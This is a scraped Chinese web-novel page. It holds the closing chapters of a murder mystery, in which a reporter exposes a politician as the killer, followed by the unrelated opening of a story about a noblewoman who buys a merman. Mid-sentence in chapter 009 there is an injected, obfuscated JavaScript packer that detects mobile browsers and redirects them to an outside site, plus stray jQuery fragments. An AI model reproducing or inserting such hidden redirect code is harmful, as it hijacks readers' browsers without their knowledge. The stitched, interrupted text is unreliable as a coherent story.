“当然,我有朋友。可是你不觉得这有些奇怪吗,好像他就像你的私人秘书一样。”瑞伊斜眼直直地看着西纳德,“如果真的是你杀了门罗呢?”
不光是隆德,所有人看起来都觉得西纳德不是凶手。这应该或许并不是出于简单的老友情谊或者是对他的信任。
“老实说我不知道,总是有人对我很好,包括我的朋友。可能这就是从出生就要当政治家的福利吧。”
西纳德的语气有些疲惫,瑞伊听不出来他到底是在洋洋自喜还是在自嘲,或者两者都有:“至于隆德,得了吧,他这个人十分看重朋友情谊,他能为了旧交情而最大地牺牲自己,这就是他。”
“在前面停下吧,我知道那里有一家非常不错的餐厅。”在沉默了一会儿之后,西纳德指了指前面出现的一家会员制餐厅,“先吃顿晚饭怎么样?我请客。”
瑞伊回过神来,看着街边的餐厅缓缓靠近。突然,她猛地踩了一脚油门,车子毫不迟疑地经过了那家餐厅。
“我同意你在这个时候炫耀车技了吗?”
“不,先生。接下来,是你的审讯。”瑞伊笑着说看向西纳德,“你得告诉我那件事情的真相。”
“什么?”
“关于你那件丑闻的内幕,到底是怎么回事。又是谁在陷害你?”此时的瑞伊能感觉出来快速行驶的车辆让她的心也不自觉紧张兴奋起来,这是她接近真相时常有的感觉,“我问了理查德所有有关你的政治关系。”
西纳德的表情稍稍显露出笑意,不过,是带有赏玩意味的:“哦,那你发现了什么?”
“什么也没有。你担任议员的时间太短,除了跟你那位未婚妻瑞贝卡的家族是世交,就只有几个政治场上的朋友。
理查德对其他人不太熟悉,但是你那位大法官岳父可是一向不喜欢你和你的父亲的作风,而且对于你父亲所在的政党提案十分不屑——可以说,你们两家的世交关系可谓是非常虚伪——
但他同样不怎么重视小女儿瑞贝卡,所以对你的这桩婚事他其实并不看好。他原本更希望瑞贝卡嫁给门罗,即使门罗为人胆怯,却正好听话。”
西纳德的表情慢慢在她的陈述中变得严肃,最后,在瑞伊讲完之后只是轻轻笑着闭上了眼睛。
“还有你的竞争对手查尔斯,他比你大两岁,今年在州选举的时候却败选给你,他之前也跟赫尔森家族提起过求婚的事。虽然我想大概率不会是他杀了门罗,但是一定跟你有关,对吧。”
“哦,对,瑞贝卡……”西纳德闭上眼睛疲倦地说,“还有那个滑稽的查尔斯——你知道吗,你真应该看看他那头稀疏又难看的黄色卷发……”
008西纳德的陈述
“我、隆德、瑞贝卡还有门罗、玛格丽莎还有查尔斯是从小的朋友……”西纳德从这里开始。
门罗是他们之中最大的,其次是瑞贝卡还有查尔斯,他们三个相处的时间最长。
他们是在家族间的聚会和一些社交场合上认识的。他们六个度过了一段亲密无间的童年时光,还有散漫疯狂的少年时期。
西纳德和隆德的性格最相似,他们是这群朋友中最具智慧与幽默的人,玛格丽莎是个热衷于社交的有活力的女孩,而门罗和查尔斯同样有着阴郁的一面,而瑞贝卡则安静文雅。
西纳德在大学之后就逐渐与他们分开,联系也逐渐地少了。
大概是今年五月份的时候,西纳德见到了阔别已久的瑞贝卡,同时还有她那位已经在电影界闯出一番事业的表妹玛格丽莎。
她们聊起西纳德成功参选议员的事情,同时还有那个“令人讨厌的查尔斯”。瑞贝卡在此之前从来没有向西纳德表现出过爱意,而就在那次两个家族的聚会之后,瑞贝卡在一次聚餐上提出来想要结婚。
而西纳德也在父亲的暗示之下答应了同瑞贝卡的婚事——励志做政治家的人必须对这种利益保持敏感。
或许是在此之前他从来没有注意到,但瑞贝卡确实表现得很喜欢他,在六月初的时候他们就订婚并且瑞贝卡就暂时住进了西纳德的家中。
玛格丽莎提出来要和霍尔斯他们聚一聚,但是瑞贝卡拒绝了,这期间只有隆德听说了消息上门来拜访过他们一次,那时门罗和霍尔斯正远赴英国。
因为瑞贝卡跟玛格丽莎的关系很好,这期间玛格丽莎出入西纳德家中的次数也变得频繁,就在一个星期后,门罗和霍尔斯回到了美国,并宣布了门罗与琼斯要结婚的消息。
在那期间门罗也常常和琼斯来到西纳德家中拜访。两对准夫妇也时常在奥奇菲德的院子里聚会。
七月份的一天里,玛格丽莎突然来找西纳德借了一大笔钱。那时她正陷入一桩绯闻中,面临着与经纪公司解约的官司。
西纳德也应了玛格丽莎的要求,瞒着瑞贝卡借给了玛格丽莎那笔钱。在那之后她们经常保持着信件来往。
而丑闻发生的七月末,瑞贝卡也跟西纳德提起玛格丽莎最近似乎很缺钱的样子,不过她只是简单地以为是因为解约的官司让她输了一大笔钱。
那次名流聚会上玛格丽莎向西纳德突然提出她以理查德的名义从他父亲的公司取出了一大笔公款,而现在她还不上,希望西纳德再次帮助她。而西纳德回绝的话正好被瑞伊听到,并刊登在了报纸上。
报纸大肆声称玛格丽莎与西纳德的不洁关系,导致瑞贝卡的父亲为此勃然大怒,强行把瑞贝卡接回了家中并取消了婚约。
他和查尔斯一起炮制了许多关于西纳德的罪名,其中也包括后面对瑞贝卡的非法囚禁。而理查德也因为受到了父亲的严厉责备,西纳德也接到了法院的传票。
他在第一时间找到了隆德请求他帮自己进行诉讼的事情,而自己则为了躲避记者和仇人住在乡下。
不久前西纳德收到了门罗婚礼的请柬,连同请柬一起寄来的还有那封以门罗的名义邀请他去乐师休息室的信。
这之后的事情,就是这样——
“天哪……真不敢相信这种东西也能被称之为酒。”西纳德在小喝了一口瑞伊从路边贩卖机买来的酒精饮料之后结束了上述一大段陈述。而瑞伊只是嚼着手里的三明治发呆。
“瑞贝卡……”瑞伊问,“婚礼前你们最后一次见她都是什么情景?”
西纳德把易拉罐放下在副驾驶上调整了一下坐姿,然后才缓缓地说:“她是个很不错的姑娘。之前虽然默默无闻总是扮演着照顾者的现象,不过好久不见了,隆德和理查德对她现在的样子都大吃一惊——不过看起来门罗和琼斯都很喜欢她。”
“哈……”瑞伊若有所思地咬了一口三明治。
“现在有什么想法了吗?大侦探。”西纳德得意的时候就会下意识地喝一口那罐饮料,然后被难喝得表情紧缩。
瑞伊没有理会西纳德的嘲讽,她现在的脑子还是一团糟,不自觉喃喃自语道:“天呐……我真希望是我杀了门罗,然后我再开车去高速公路上逆行……”
“哇哦,小心点,女士。我还在你车上呢。”西纳德笑着说,他的语气里有一种洒脱感,是心烦意乱的瑞伊无法理解的。
也对,他是西纳德·伯恩。即使他真的做了这些事,对于他和他那位颇有权力的老爹来说也不是什么大事。而对于那个可能想要害他和门罗的人,他根本不放在眼里。
“好吧,我看你应该是不打算去酒店好好睡上一觉了。”西纳德将副驾驶的座椅调低,将双手枕在脑后。
“明天一早,等那个叫莫尔的律师一上班,我们就去打电话把我们的情况告诉他。然后你就可以回警察局好好睡上一觉了。”瑞伊冷嘲热讽地说,“我想我刚刚应该问一下隆德我还是不是‘拒捕嫌疑人’。”
“哈……”西纳德笑了,“那么——欢迎入住我朋友的廉价汽车酒店,我们为你准备了首席总统双人套间,嫌疑人小姐。”
瑞伊也只是忍不住露出一个笑:“好的,服务员先生,我只需要支付跟你一起共度良宵的代价就好了吗?来吧,我准备好了。”
西纳德也被瑞伊这种有些下流的小玩笑给逗乐了,似乎有些害羞地闭上了眼睛,嘴上的笑容却依旧情不自禁。
“西纳德!”
从半梦半醒的状态中惊醒过来之后,瑞伊下意识的瞟了一眼手表,意识到已经到了隆德上班时间的时候瑞伊就叫醒了西纳德,随后把车开到了附近的一处电话亭。
“喂……”瑞伊看向外面的略显疲惫的西纳德,电话在几秒钟之后响起了隆德的声音。
“喂,夏普小姐。”
脑子里想着这些事情睡了一夜的副驾驶,西纳德十分疲惫,看着瑞伊在电话亭时不时抬眼看他,他总是有种奇怪的感觉。
那双眼睛很明亮,被注视着的时候,他甚至会忘记瑞伊是个女人——这种说法很奇怪,他想起她的时候不会先想起她的脸,或者是她的身材,他最先想到的就是她那双明亮的眼睛,即使在高大的男人靠近时也警觉淡定。
瑞伊·夏普有种令他欣赏的聪明、伶牙俐齿、做事认真投入,他知道,这些都跟他很像。只不过,这点真的有些奇怪,他总决定她的聪明带着极强的侵略性。
再回过神来时,西纳德也注意到瑞伊又抬起眼来看他,随后她就挂掉电话从电话亭里出来。
“有件紧急的事情,西纳德。”瑞伊朝他走过来。
西纳德才从刚刚的思考中缓过来:“什么?”
“隆德说瑞贝卡的情况很紧急,你需要马上去一趟。”瑞伊马上略过他进到车里,回过头来看着他,“你没睡醒吗?”
“情况紧急?”西纳德疑惑地回到副驾驶上。
“当然了,她想见你。”瑞伊面不改色地踩下油门,汽车全力以赴地朝着医院的方向出发了。
009最后一面
瑞贝卡·赫尔森是那种你第一眼看过去就觉得是位端庄淑女的女人,尽管她现在病得面色发白。
在西纳德和瑞伊费了一番功夫找到她的病房并把她吵醒之后,她仍然能用温柔谦和的声音让他们坐下休息。
“我很高兴你能一大清早来看我,希德,我希望爸爸没有对你太过分。”
“抱歉是我没来得及跟你交代清楚,让你担心了。”西纳德照例在她的额头上吻了吻。
瑞伊也在适合的时候补充:“是隆德先生告诉我们你的病房的,您父亲应该不知道这件事。”
西纳德在之后对瑞伊进行了介绍,随后瑞贝卡对瑞伊表示了感谢。
接下来的时间里,都是瑞贝卡在问候西纳德有关他现况的事,瑞伊则是在一旁摆弄着病床床头上的花,上面系着一张卡片,卡片上用钢笔字写着一个大大的S。
“哦,昨天应该是阿尔的婚礼,他说过之后会和你们一起来看我,是你们先到了吗?”瑞贝卡看见一边的瑞伊突然这么问。
“哦,不,亲爱的。我想他们应该会另选时间来告诉你的。”西纳德轻声地安抚道。
此时瑞贝卡的目光突然变得温和起来,她在与西纳德对视之后又紧接着看向瑞伊:“你知道的,你能再找到这样美丽的姑娘我很高兴。”
“是吗?”西纳德对于瑞贝卡的误会也只是温和地笑了笑,“当然,她也是位头脑聪明的姑娘。”
不过西纳德很快就反应出了不对劲,在那之后他以询问医护人员为由将瑞伊拉到了病房外。
“隆德呢?”西纳德在简单地询问完医生之后问瑞伊,“瑞贝卡的病情似乎正在好转,我不知道还有什么紧急的状况?”
他的眼神里充满了怀疑。
“你很关心她?”瑞伊问,“即使她在你出了丑闻之后把你甩了,回到了她原来的家?”
西纳德看着瑞伊的样子,有些气馁地笑道:“你是在吃醋吗,小家伙?”
“哦,不。”瑞伊露出了微笑,“先在休息区等一会儿吧。隆德马上就会过来。”
虽然西纳德对瑞伊的话有些疑惑,不过他们还是照做了。大约等了五分钟之后,隆德就出现在医院的休息区里,当然,跟着他一起来的还有理查德、玛格丽莎和乔利弗。
“怎么回事?你们怎么都到这里来了?”西纳德从椅子上站起来。而跟着隆德来的三位也跟西纳德一样稍稍面露困惑。
“是夏普小姐。她让我把他们都叫过来。”隆德平静地说,“说实话,我想这是个不错的安排。”
隆德说完之后,剩下的四人都相继对视了几秒。
“是的。”瑞伊平静地说,“我想昨天晚上想通了一些事情——有关于这场命案的一些事实——今天早上我在电话离向隆德先生证实了其中之一,因此我想,在西纳德先生和我被认作是案件嫌疑人的前提下,我们最好见一面把事情说清楚。我想你们都相信西纳德不会杀害门罗先生,所以我让隆德先生用电话把你们都晚十几分钟叫过来,这样我们能省去很多时间。”
“所以,把我们叫过来到底是做什么?”霍尔斯先生先开口。乔利弗小姐和玛格丽莎小姐则担忧地互相对视。
“很简单。”瑞伊摆出她作为一个记者的架势,“只需要你们简单地回答几个问题来证实一些事情。”
虽然隆德才认识瑞伊不到一天,但他却极力地配合她:“我想这应该没问题吧?”
在霍尔斯先生看向旁边的两位女士的时候,乔利弗小姐先点了点头,而玛格丽莎小姐也表示同意。
“好吧。”西纳德笑着打圆场,“你就听听她要说什么吧,霍尔斯。”
在接受了所有人的同意之后,瑞伊纳深吸了一口气然后才开始。
“你见过我,玛格丽莎小姐。”在开始提问之前,瑞伊先看向玛格丽莎。
“是的。”玛格丽莎的语气听起来不太确定。
“当然,我想是的。一次是诺伯顿的晚宴上,一次是在案发现场,一次是在酒店停车场,一次是在你的公寓。不过在你的公寓里时你并没有注意到西纳德身后的我。”
瑞伊继而看向一旁的琼斯和理查德:“我也不是监视西纳德的实习警察,琼斯小姐。也不是那家时报的记者。”
“我是大约一个月前,写出那篇关于西纳德报道的记者,同时也是门罗先生案件和西纳德一起目击现场的记者。”
瑞伊的表诉很平静,她在看向西纳德的时候,发现他正如先前那样沉默,若有所思。
“如果可以的话,我能问你们几个问题吗?”瑞伊问。
众人的目光先是聚到西纳德身上,然后才陆续重新投到瑞伊脸上。他们都陆续摆出默许的表情。
“你问吧。”玛格丽莎先说。
“琼斯小姐。”瑞伊看向一边的琼斯,“在这群中之中你最熟悉的是玛格丽莎小姐是吗?”
琼斯显得很惊讶,她下意识地看向玛格丽莎,正巧对上身旁的玛格丽莎的眼:“是的,丽莎跟我在英国的时候就认识……不过,你是怎么知道的。”
“因为玛格丽莎小姐想找西纳德的时候,最先求助的不是霍尔斯先生,而是让你和门罗先生将那封信连同请柬一起寄给西纳德先生——而在命案发生后,她也先去了你的住处,让你替她转交信息。”
“什么?”西纳德也跟着看向玛格丽莎,“那封信是你给我写的?”
“是的——但是,希德,我没有杀害门罗先生!”玛格丽莎慌忙地说。
“是的。”瑞伊挡在西纳德身前,继续说道,“你在请求琼斯小姐寄出那封信的之后没有如愿见到西纳德,但是后面发生了命案让你更加提心吊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064681|163060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胆,于是你在结束审讯之后就开车来到了琼斯小姐的住处——
她是情理之中最先被审问的对象,也是先回去的,她甚至有时间把妆卸掉把婚纱换下来——
你在跟琼斯小姐商量之后,你决定再写一封信给西纳德,你没有把握是不是你的那封信导致了这场命案,所以想让没有犯罪时间的琼斯替你在之后转交给警局。”
玛格丽莎的神情突然从疲倦和无神转变为了放松:“不,我是想让琼斯替我转达给希德,装作是另有其人,因为我害怕……我不想让希德知道是我的信导致了这场……”
“是的。”瑞伊接着她的话讲下去,“因为你在去乐师休息室等西纳德的时候碰见了另一个人。”
“理查德·霍尔斯先生。”瑞伊看向他,理查德此刻的神情突然开始紧张起来,他的紧张则来源于他不清楚这个小记者还知道些什么。
“你看见了他从那个房间里出来,还拿着一瓶酒,可能神情还十分不悦,那时你们遇见了,你可能说了几句话之后就打消了再去那个房间的念头——
而在之后,案件刚发生的时候你下意识以为是霍尔斯先生做的。但是你要包庇他,你不能出卖他来证明西纳德的清白,也不想让除了琼斯小姐之外的其他人知道是你让西纳德去那个房间的。”
“可是,为什么?”隆德恰到好处地问。
“因为玛格丽莎小姐和霍尔斯先生是情侣,至少,玛格丽莎爱着他。在酒店停车场险些撞到我的车,就是你开的,而那是理查德先生的车——在公寓里看见你时,你还穿着婚礼上的衣服,却没有穿高跟鞋。
至少我认为在这种场合不穿高跟鞋而是一双平底的板鞋十分不符合你的搭配,而且在那之后我坐上了理查德先生的那辆车,我并不需要调整座椅,这显然不适合查德先生的身形。
而且,那时你的头发凌乱、口红边缘模糊了出去,我猜测那大概是与人亲吻过后的样子。”
瑞伊看了眼理查德。
“而我躲在角落里的时候,正好发现了偷偷往里边看你和西纳德的理查德先生——这也是为什么,之后我们会在理查德先生的办公楼下见到他开回去那辆车,他显然因为这些事而心烦意乱,没有调整车座的位置。
并且在之后我询问他有关于你的事情的时候,他为了尽可能保持证词前后一致谎称在花园里见过你。
虽然他那个时候根本不在花园,但是他见过你却是实话。这说明你们确实在那一小段时间里遇见了——就是在霍尔斯先生从乐师休息室里出来的那段时间。”
瑞伊的目光又继续回到玛格丽莎的身上:“我猜想,你在见完琼斯以后脑子很乱——你在此之前可能在她房间里换掉了高跟鞋——
在停车场看到西纳德的时候你突然恍惚了,你一时间没转过弯来差点撞上了刚从车离出来的我,但是你还是紧急地拐弯了。
在那之后,你开车去跟理查德先生见面了——他或许晚了一点出来,这也是为什么他在之后会工作到将近六点还在办公室。
总之你们见了面,之后又开车回到了你的公寓。你很意外地见到了西纳德,但他看起来并不知道信是你让门罗夫妇帮忙传递的,于是你松了一口气。”
“当然了,理查德先生。这并不是让玛格丽莎和你那样紧张的全部原因——
事实上,你应该为西纳德的境遇付更多的责任。是你挪用了你父亲公司的公款,并向还是情人的玛格丽莎大笔地借款,而她那时正面临着官司,只能向西纳德借钱。
而这个负债的来源很可能是你拉着门罗先生一起做,导致了你们两人双双负债。这个结论十分容易推测,作为借款的中间人,玛格丽莎,一分钱都没有花,那笔巨额的公款和向西纳德的借款只可能流向霍尔斯先生,而霍尔斯先生的处境却也十分紧迫。
这个时候,门罗先生也开始变卖他的资产,甚至火急火燎地跟乔利弗小姐结婚,很难不让人联想到你们二人的经济状况——更何况你们在门罗先生与乔利弗小姐宣布订婚前都一起待在英国。”
瑞伊的目光最后转向了隆德。
“而你,隆德先生,你虽然知道这些,但是却从来不曾向西纳德坦白——这一点在我今天早上在电话里提及的时候,你慌张地问我西纳德是不是知道,我就能确信这一点——
你那时会出现在理查德的公司其实正是出于这个原因,你知情,却任由西纳德在被曝光之后,理查德将所有账都理所应当得赖到他头上。因为西纳德会尽量保住玛格丽莎的名声,所以他在接受审判前都不会向外界透露——
而这正是玛格丽莎迫切地想见西纳德的原因之一。你介于老朋友之间的情面决定不告诉西纳德实情而自己在中间尽心尽力地帮助他免于官司。”
理查德从刚刚开始一直紧绷的表情也突然间松了下来,他抢在隆德前面开开口:“是门罗,他一开始找上我来说他想借从哪里听来的机会大赚一笔的,他年纪不小了,但除了继承了父亲的部分遗产还一事无成。
不过我们在本地狠狠地亏了一笔,就此之后打算在英国再来一次的时候也是——输得很惨,门罗几乎把葡萄园都赔进去了。也是我催促玛格丽莎去找西纳德的。
丑闻一出来的时候,我没有多想,借此机会把帐赖到他头上我就不会面临父亲的指责了——
之后我就装出一副对西纳德十分失望的态度,他这个小子居然在消失了之后住在哪里都没有告诉过我。我想说的是,十分抱歉,不过说出来确实比一直藏着好受许多。”
瑞伊再看向西纳德的时候,她发现他依旧一副波澜不惊的样子,或许他早就知道,又或许是出于一个议员的素养。
他表现得像是置身事外,时不时看向瑞伊的眼神也发生了变化。只不过,瑞伊不知道那是什么。
“所以命案发生前,事情应该是这样的:乔利弗小姐一大早就在筹备自己的婚礼,一直跟自己的伴娘们和工作人员在一起,她只是帮玛格丽莎向门罗先生传递了那封信的事。
霍尔斯先生和玛格丽莎小姐在早上的时候一起到达婚礼准备的现场,随后是隆德和西纳德。霍尔斯先生因为担心门罗先生不能顺利地进行婚礼,在到达现场之后就跟玛格丽莎分开,去找门罗先生,在经过一番争执之后,霍尔斯先生离开了现场,但是在那之后碰上了玛格丽莎小姐,他们都对对方在此出现而感到惊讶,不过很快就先后离开了。
霍尔斯先生从前门离开,而玛格丽莎小姐则可能是随后从后门回到花园,再从花园回到院子里。紧接着就是按照信上的时间来找门罗先生的西纳德,他在乐师休息室等待了一会儿之后没有发现人,于是不断地在宴会厅和走廊里等待,之后就是我跟上了西纳德,跟他在乐师休息室里发生了争执——
但是,期间唯一最有可能杀害门罗先生的霍尔斯先生,却没有动机。因为,他大力撮合门罗先生和乔利弗小姐只是为了她的那笔钱,而门罗先生在婚礼前死掉他就要一个人面对高额的债款以及接下来的官司。
在婚礼前他和乔利弗小姐争吵之后,门罗先生又打电话回来劝和,最大的可能就是霍尔斯先生知情以后的劝阻。”
“但是,到目前为止,没有人杀害门罗先生。”西纳德在瑞伊之后点出来,瑞伊看向他的时候,他侧过脸露出了一个礼貌的微笑。瑞伊不知道,他是否已经失去了耐心。
“那么门罗先生有没有可能是自杀?他一直都是一个懦弱的人,而他又一直暗恋着一起长大的瑞贝卡。”瑞伊也很顺利地接着西纳德的话讲下去。
“他之所以想和理查德一起用那笔钱做一番事业,或许就是为了瑞贝卡。但是生意上的失败让他不仅折了一大笔钱,原本他的遗产就因为他母亲的原因所剩不多,重要的是他无法变卖他的葡萄园,而理查德先生作为不被基于期望的次子,生活在父亲公司的岗位下原本就被压得喘不过来气。而在六月份的时候,瑞贝卡又正好和西纳德订婚了。
我想和乔利弗小姐的结合应该是理查德在绝境之下想到的。在他的大力撮合下,为了那笔可以救他们命的嫁妆,门罗靠着他的家族在美国的声望顺利地跟乔利弗小姐订婚了。
正当门罗先生回到美国之后,婚礼前不久就传出了丑闻,心爱的瑞贝卡被西纳德伤透了。他就彻底失去了和乔利弗小姐结婚的念头——
一直到前天,门罗先生还坚持以西纳德的名义给瑞贝卡的病房送花,但他不知道的是,西纳德对瑞贝卡住院的事根本一无所知。”
西纳德在这时摇了摇头,似乎终于流露出了些许悲悯。
瑞伊在看向他的时候,也终于露出了些许肯定:“这就是你想在之后跟我说的,对吧?西纳德·伯恩先生。”
西纳德下意识地挑了挑眉,原先脸上那副酝酿出的神色一扫而光。
“这就是你希望我报道出来的实情,对吧。”瑞伊的脸上露出了喜悦的笑容,不过,那上面多了几分狡黠,“要么是意外、要么是自杀,你或许会在回警局之后再跟我灌输这些内容,让我在被放出来之后大肆报道,再加上你走遍了现场的证人确定了他们没有直接的证词之后,你就可以在之后的法院上不战而胜了——
这就是你为什么不想让我跟你回警局一起接受审讯的目的,不惜冒险把我扔出窗外,在律师事务所楼下赌我是否会到场——就算我不到场也没关系,因为这样会加重我个人的嫌疑,你再联合其他证人作证就可以围剿我。”
“你在说什么?记者小姐?”西纳德的笑似乎是在听一个笑话,“我承认你这次的表演把我逗笑了。”
“不,听我说。”瑞伊一向讨厌他这种不把她的话当回事的态度。
“记得我之前说的吗?我在进入宴会厅的时候正巧撞见了霍尔斯先生,就在我遇见你的几分钟前。那个时候门罗先生还没死,因为舞台外侧的幕布只拉上了一半,他那时尸体要是放在舞台上一定会被人看见,但霍尔斯的证言却表示当时一行人过来的时候舞台的幕布是全放下来的——
他没必要在这个时候撒谎,因为目击证人不止他一个。而之后,我在大厅逗留了几分钟之后,就看见你掐着表从走廊里出来。
如果真按你所说的,或者所暗示的那样,你一到现场就在约定的时间往那个房间走去,这个时间点你应该才从大门进来,而我却看到你从走廊里出来。”
“事实上也没有其他人看到你进了宴会厅。”瑞伊在稍微等了一会儿之后,确认西纳德不再做任何反驳之后,才继续。
“而门罗先生如果是自杀的话,也没有必要大费周章在那几分钟内将自己吊起来再藏在两块幕布之间。而你不一样,你原本可能打算尽可能将尸体被发现的时间延后。
你那是在扫视宴会厅的时候也可能只是在确认没有人注意到你,而不是在等待着什么人。你想你应该是个会提前到现场反过来等别人的那种人。只不过你或许是在玛格丽莎之后进到走廊里,刚好听到他们的对话退到其中一个房间里。
总之,你紧接着他们之后进到了乐师休息室,在那短短几分钟之内勒死了门罗,并把舞台外侧的幕布降下来,他的尸体藏到了舞台上两片幕布的中间。”
“在那之后,你因为发现我在跟踪你,情急之下想出了之后的手段,我说的没错吧。”瑞伊说完,看向了身旁的西纳德。其余的众人也在沉默之中,纷纷将目光投向西纳德。
“那,我是出于什么样的理由在那么短的时间内杀死门罗的呢?”
在接下来一段长久的沉默之中,琼斯小姐身上的目光逐渐增多。她本人的脸上也显露出了惊慌和疑惑的神色。
“不。不是琼斯小姐的缘故。”瑞伊平静地回答,“我想是关于那件丑闻的事。你在消失的那段时间里调查过门罗,知道他把葡萄园买了,你想必也知道他负债累累的事情,于是你结合他对瑞贝卡的爱慕,和那封挑衅般的信,你早就对他怀恨在心。或许你也认为是他才导致了你那几个月几乎失去了所有的一切。不过——”
瑞伊再次直勾勾地看向西纳德的时候,西纳德才发现她目光如炬,闪着一种,令他心虚的聪明女人的光芒。
“以我对你的了解,这并不足以让你杀了他。我想只有一开始的对峙是出于愤怒,接下来门罗先生的死恐怕是出于一场意外。”瑞伊说。
“是的,那是场意外……你确实对真相的把握很有一套,瑞伊小姐。”西纳德看着瑞伊的脸,笑容不自觉从自信转变为无奈。
“是门罗先动的手,他对我的看法一直不是很好,于是在霍尔斯离开之后借着酒气向我撒气。他一开始想动手,不过在喝了酒之后那副孱弱的身躯实在不堪一击。我很抱歉,在我想教训他的时候我失手了。就是那三分钟里的事情。”
010尾声
其他人在两分钟前都进到瑞贝卡的病房里去了,这个时候他们应该都把案件的经过都给她讲了一遍。不过,当然,暂时不会讲结果。
按隆德的话的意思,不管西纳德是现在去自首,还是拒绝,他都会予以最大程度上的帮助。当然,其他人的回答则很模糊。
不过坚持留在门外的瑞伊,在众人经过她时,她仍然定定地看着西纳德。而西纳德,他也一样。
“所以。”瑞伊还是先开口了,那时她确保所有人都进到了病房里,“你有什么打算吗?议员先生。不去见你的前未婚妻最后一面吗?”
“我不知道。或许,在二十四小时用完之前,我还有机会吃一顿午餐——或者是比较丰盛的早餐。”西纳德的笑容依旧自如,他轻轻俯身朝瑞伊靠去,“我是说,你有时间跟我共进午餐吗,瑞伊小姐?”
瑞伊的脸上也跟着出现了一种复杂的笑容,她不自觉地看向一边,开玩笑似的地回答。
不久过后,瑞贝卡那间病房的门再一次被敲响了。
这一次,医院的工作人员在众人的目光下,拿着一捧花交给病床上的瑞贝卡。
她伸手看了一眼上面的卡片,上面用钢笔签着一个大大的S。
不过大家都知道,西纳德从未寄过什么花。
7. 世界三
那是希尔芙斯这辈子第一次见到这么漂亮的人鱼。
她站在巨大的鱼缸前,仔细地打量着被关在里面的人鱼,眼中闪过一丝惊艳。
湛蓝深邃的眼眸,鼻梁高挺,五官精致,他的上半身赤裸,线条优美流畅。
覆盖着蓝鳞的鱼尾在水中轻轻摆动,鳞片从尾尖至腰际逐渐隐没,化作细腻的皮肤。
美中不足的是,人鱼的身上布满大大小小的伤痕,看上去奄奄一息,显然是受了很重的伤。
老板看到人鱼这副半死不活的模样,生怕希尔芙斯不肯买下,他掏出长长的鱼叉就往人鱼身上招呼。
“动一动啊,又不是死了!”老板凶神恶煞地喊道。
因为疼痛,原本了无生机的人鱼突然开始暴躁地撞着巨大的鱼缸,发出“砰砰”的声响。
希尔芙斯下意识往后退去一步。
人鱼动作一顿,这才发现鱼缸前站着一位少女。
一头微卷的金发披肩而下,映着碧绿的眼睛,显得格外漂亮。
精致的衣裙,蕾丝手套,手提包,小礼帽,看上去与周围的一切都格格不入。
他的目光落在希尔芙斯的脸上。
四目相对。
他渐渐缓和下来。
望着人鱼湛蓝色的眼睛,某个瞬间希尔芙斯觉得很眼熟。
这双眼睛——
好像无数次在自己的梦里出现过。
不知为何,希尔芙斯从他的眼里看到了一丝哀求。
她有些心软,决定买下这条人鱼作为自己的新宠物。
话到嘴边,却听希尔芙斯说道:“听说人鱼的眼泪可以变成珍珠,刚好,我最近缺一条珍珠项链。”
她斜睨着对自己点头哈腰的老板,微微抬起自己的下巴,倨傲道:“这条人鱼我要了。”
她转头吩咐自己的贴身女仆:“劳拉,付钱吧。”
“是,小姐。”
终于得到了自己想要的东西,希尔芙斯心满意足地离开这个肮脏恶心的兽人交易场所。
最近贵族圈突然卷起一股时尚新风,不少少爷小姐都开始养兽人。谁养的兽人威武雄壮,带出去游玩时谁的脸上就更有面子。
前几天希尔芙斯的青梅竹马阿瑟顿来找她玩时,特意带上了自己新养的狮兽人,在她面前好好显摆了一回。
正因如此,希尔芙斯才准备亲自去兽人交易场所,她本想买狼兽人,借此机会压阿瑟顿一筹,谁知到最后她竟然看上了一条美丽的人鱼。
“不是吧,你去兽人交易场所看了半天,就买了一个这玩意?”阿瑟顿脸上的表情一言难尽,“而且他保护不了你,你还不如买狼兽人呢。”
人鱼好像听懂了阿瑟顿的话,他突然变得暴躁起来,水池里的水被打到岸上,溅湿了阿瑟顿的衣服。
阿瑟顿不悦地皱起眉:“你把我的衣服弄湿了。”
人鱼不理会阿瑟顿,他依然处于狂暴状态。
眼见情况不对,希尔芙斯这才出声,她嗓音淡淡道:“安静一点,你把水弄到我衣服上了。”
人鱼变得听话乖巧起来。
希尔芙斯把阿瑟顿这个碍事的家伙赶走后,偌大的房间里只剩下她和人鱼。
“谢谢你......救了我......”人鱼仰起脸看着她,吃力地说着人类的语言。
他指的是下午她从老板手里买下他这件事情。
向来对任何事情都反应平淡的希尔芙斯,此刻脸上终于多了一些表情,只见她扬了下眉,问道:“你会说话?”
“嗯。”人鱼点了点头。
希尔芙斯来了兴趣,要知道,寻常兽人是不会说话的。
“你叫什么名字?”少女站在巨大的水池前,居高临下地望着人鱼。
人鱼蜷缩在水池的一角,看上去有些可怜。
“洛维恩......”
“很好,以后我就是你的主人了。”希尔芙斯垂下眼,漫不经心地抚摸着自己繁复精致的裙子,“跟在我身边,只要你乖乖听话,我一定会保护好你,不让你受到其他伤害。”
洛维恩点了点头,尽量扮演着弱小可怜的角色,他微微侧过头,在希尔芙斯看不到的角落,嘴角微微勾起。
“哦对了,我的名字叫希尔芙斯。”
“希尔......芙斯......”洛维恩有些卡顿地说了一遍。
原来她叫希尔芙斯。
待希尔芙斯走后,洛维恩靠在水池边,低声地重复着她的名字:“希尔芙斯......希尔芙斯......”
希尔芙斯说到做到,将这条人鱼养在自己的小洋楼里,每天都精心照料着他。
“你身上的这些伤口是从哪里来的?那个老板弄的?”
“嗯。”洛维恩点了点头。
希尔芙斯手里拿着药膏,这个是她亲自去兽人交易场所买的。
向来有洁癖的她竟然为了一条人鱼,屈膝去那种地方。这件事震惊了庄园里不少下人,明明大小姐可以吩咐他们去买。
总而言之,全庄园的所有人都知道了,希尔芙斯很喜欢这次新养的宠物。
她将药膏挤出来,小心翼翼地抹在洛维恩身上的伤口处,问道:“疼吗?”
伤口处传来轻微的疼痛,有些痒,仿佛有密密麻麻的虫子爬过,洛维恩微微皱了下眉,轻声“嘶”了一下,说道:“轻点,有些疼。”
